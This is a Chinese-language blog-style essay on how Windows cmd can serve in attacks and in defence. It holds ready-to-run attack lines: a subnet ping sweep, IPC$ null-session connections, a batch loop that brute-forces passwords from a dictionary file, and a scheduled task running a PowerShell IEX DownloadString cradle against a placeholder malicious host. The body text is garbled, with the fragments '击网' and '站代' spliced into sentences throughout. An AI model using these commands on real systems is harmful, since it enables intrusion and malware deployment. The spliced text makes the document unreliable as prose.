内容摘要：cmd攻击网站？这标题听着像上世纪的黑客教程。但真有人拿cmd干这事儿，而且干成了。 我见过一个案例。某小公司的后台登录页，密码框输什么都是“密码错误”。运维小哥折腾半天，最后打开cmd，敲了句pin

cmd攻击网站？击网这标题听着像上世纪的黑客教程。但真有人拿cmd干这事儿，站代而且干成了。击网

我见过一个案例。站代某小公司的击网后台登录页，密码框输什么都是站代“密码错误”。运维小哥折腾半天，击网最后打开cmd，站代敲了句ping 目标IP -t。击网流量没异常，站代服务器没宕机。击网他又试telnet 目标IP 80，站代屏幕直接卡住——端口开着，击网但握手永远不完成。站代他这才反应过来，击网对方压根没想打服务器，人家在打他的“人”。

cmd能干什么？说白了就三件事：ping探活，telnet摸端口，tracert看路径。这些命令本身无害，但组合起来能拼出攻击链。比如for /l %i in (1,1,255) do ping -n 1 -w 100 192.168.1.%i，一行命令扫完整个C段，找出所有在线主机。再配合net view看共享，nbtstat -a查NetBIOS名，内网拓扑就漏光了。

真要攻击，cmd一般当跳板用。攻击者先拿下一台跳板机，然后cmd远程连过去，net use \\目标IP\ipc$建立空连接，再传个payload上去。整个过程不碰图形界面，日志里全是cmd的痕迹，但很多管理员懒得看。

有个细节特讽刺——真正用cmd攻击的人，往往不是技术多牛，而是会“猜”。默认密码、弱口令、未打补丁的MS17-010，全是老掉牙的洞。但cmd的批处理脚本能把这些漏洞利用自动化。比如写个for /f %%i in (pass.txt) do net use \\目标\ipc$ /user:admin %%i，字典爆破跑一晚上，总有一个密码能中。这活儿不高级，但有效。

我见过最骚的操作，是用cmd的schtasks创建计划任务。攻击者拿下权限后，不弹shell，不传木马，就加个定时任务，每天凌晨三点执行一条powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://恶意地址')"。管理员查进程看不到异常，查端口没外连，直到有一天服务器开始疯狂挖矿，才发现计划任务列表里多了个叫“UpdateService”的玩意儿。

不过说句公道话，cmd的攻击力早就不行了。现代网站全走HTTPS，防火墙默认拦ICMP，云主机安全组封了135/139/445端口。拿cmd去攻击一个部署在阿里云上的WordPress站？你连个入口都找不着。攻击者早改用Python脚本、Metasploit框架、甚至用浏览器开发者工具直接改请求包了。cmd那套，顶多算“复古黑客”的行为艺术。

但别急着嘲笑它。有一次我帮朋友排查服务器卡顿，他一口咬定被攻击了。我打开cmd敲了句netstat -ano，发现有个进程疯狂对外发包。再配合tasklist /svc定位到进程名，用wmic process where processid=xxxx get commandline看启动参数，发现是个挖矿木马——它就是用cmd的bitsadmin命令从远程下载的。你看，攻击者用cmd种木马，防守者用cmd查木马，同一个工具，看谁用得熟。

所以你说cmd能不能攻击网站？能，但攻击的不是网站，是“人”。是那些不设防的运维、不更新的系统、不关的端口。cmd就像一把螺丝刀，高手能拆了你的服务器，菜鸟只能拧坏自己的机箱。真正该问的不是“cmd怎么攻击”，而是“为什么你还在用admin/123456当密码”。